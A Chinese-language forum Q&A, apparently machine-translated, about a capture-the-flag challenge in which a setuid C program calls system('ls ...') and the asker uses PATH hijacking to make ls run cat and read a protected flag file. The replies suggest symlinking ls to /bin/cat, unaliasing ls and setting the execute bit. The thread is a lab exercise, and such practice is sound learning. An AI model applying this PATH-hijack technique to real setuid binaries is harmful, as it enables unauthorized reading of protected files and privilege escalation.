如何将'ls'命令转换为'cat'命令?

我试图解决这个问题,我只允许运行ls命令,我的目标是读取标志。 有一个脆弱的C代码已经setuid

-rwsr-sr-x 1 lameprogrammer lameprogrammer 8579 Sep 15 07:21 vul_c -rw-r----- 1 lameprogrammer lameprogrammer 154 Sep 15 07:40 flag 

我是用户攻击者 ,我必须阅读这个标志文件。 给定的C代码是

  #include <stdlib.h> #include <stdio.h> #define FILENAME "/var/challenges/attacker/challenge1/flag" int main(void) { int vert; vert = system("ls " FILENAME); if(!vert) puts("Flag is at " FILENAME " :P "); else puts("Sorry! no file is there"); } 

我试图将ls转换为cat,以便如果运行,那么它将读取标志文件。 为此,我将所有bin文件夹复制到本地空间,然后用catreplacels ,然后导出新的PATH。 从技术上讲,它应该取代,我的命令应该像猫一样工作,但它不工作。 以下是我的命令:

  cp -r /bin /home/attacker cd /home/attacker/bin rm ls cp cat ls export PATH=/home/attacker/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/usr/games 

ls命令不能像cat那样工作,输出是:

  ls: unrecognized option '--color=auto' Try 'ls --help' for more information. 

当我试图运行./vul_c它说权限被拒绝,然后它正在打印对不起! 没有文件在那里

任何帮助,这将是伟大的。

你在正确的方向,但你只是为这个小事情付出太多的努力。 为了不创建一个程序,你为什么不创建一个符号链接,然后把它指向cat

试试这一步:

  ln -s /bin/cat ls 

最后,出口这个,我希望你会解决你的问题。 在这里,你甚至不必担心许可。 让我知道如果它的作品。

程序是否工作? 我看到的问题是,如果你在shell中使用ls ,它有一个别名,将启用着色,即类似

 alias ls='ls --color=auto' 

现在这是cat不明白的东西。 但是只有你的 shell,而不是那个脚本运行的ls命令,因为它不会使用别名。 也许像unalias ls这样的东西在shell中会有所帮助。

现在, system函数不能运行你的ls因为它没有适当的权限 – 你忘记了chmod +x ls